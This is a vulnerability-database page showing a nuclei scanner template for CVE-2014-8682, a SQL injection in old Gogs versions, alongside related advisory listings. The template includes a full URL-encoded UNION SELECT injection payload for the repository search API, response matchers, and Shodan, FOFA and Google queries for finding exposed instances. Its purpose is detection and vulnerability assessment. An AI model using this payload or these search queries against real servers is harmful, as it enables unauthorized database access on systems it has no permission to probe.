Lucene search
+L

Gogs (Go Git Service) - SQL Injection

🗓️ 07 Aug 2026 02:59:25Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 39 Views

Gogs (Go Git Service) - SQL Injection vulnerability allows remote attackers to execute arbitrary SQL commands via the q parameter to api/v1/repos/search and api/v1/users/search

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Gogs Blind SQL Injection Vulnerability
15 Nov 201400:00
zdt
cve
CVE
CVE-2014-8682
21 Nov 201415:00
cve
cvelist
Cvelist
CVE-2014-8682
21 Nov 201415:00
cvelist
exploitdb
Exploit DB
Gogs - 'users'/'repos' '?q' SQL Injection
14 Nov 201400:00
exploitdb
exploitpack
exploitpack
Gogs - usersrepos ?q SQL Injection
14 Nov 201400:00
exploitpack
github
Github Security Blog
SQL Injection in Gogs
29 Jun 202118:32
github
gitlab
GitLab Advisory Database
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
29 Jun 202100:00
gitlab
nvd
NVD
CVE-2014-8682
21 Nov 201415:59
nvd
openvas
OpenVAS
Gogs >= 0.3.1, < 0.5.8 Multiple Vulnerabilities
6 Feb 201500:00
openvas
osv
OSV
GHSA-G6XV-8Q23-W2Q3 SQL Injection in Gogs
29 Jun 202118:32
osv
Rows per page
id: CVE-2014-8682

info:
  name: Gogs (Go Git Service) - SQL Injection
  author: dhiyaneshDK,daffainfo
  severity: high
  description: Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches and updates provided by the Gogs project to mitigate the SQL Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-8682
    - http://seclists.org/fulldisclosure/2014/Nov/33
    - http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html
    - https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d
    - https://www.exploit-db.com/exploits/35238
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98694
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-8682
    cwe-id: CWE-89
    epss-score: 0.33391
    epss-percentile: 0.98214
    cpe: cpe:2.3:a:gogits:gogs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogits
    product: gogs
    shodan-query:
      - title:"Sign In - Gogs"
      - http.title:"sign in - gogs"
      - cpe:"cpe:2.3:a:gogs:gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve2014,cve,gogs,seclists,packetstorm,edb,sqli,gogits,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"ok":true'
          - '"data"'
          - '"repolink":"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204938dedb4584f5905c980c8095c2544ad80e33739f86ab77917b617e985b370b02206b67091c44f0c6586ce96d3d13e0d6f1f4ff3a10334b962ed113997ff0eecb2c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 27.5
EPSS0.33391
39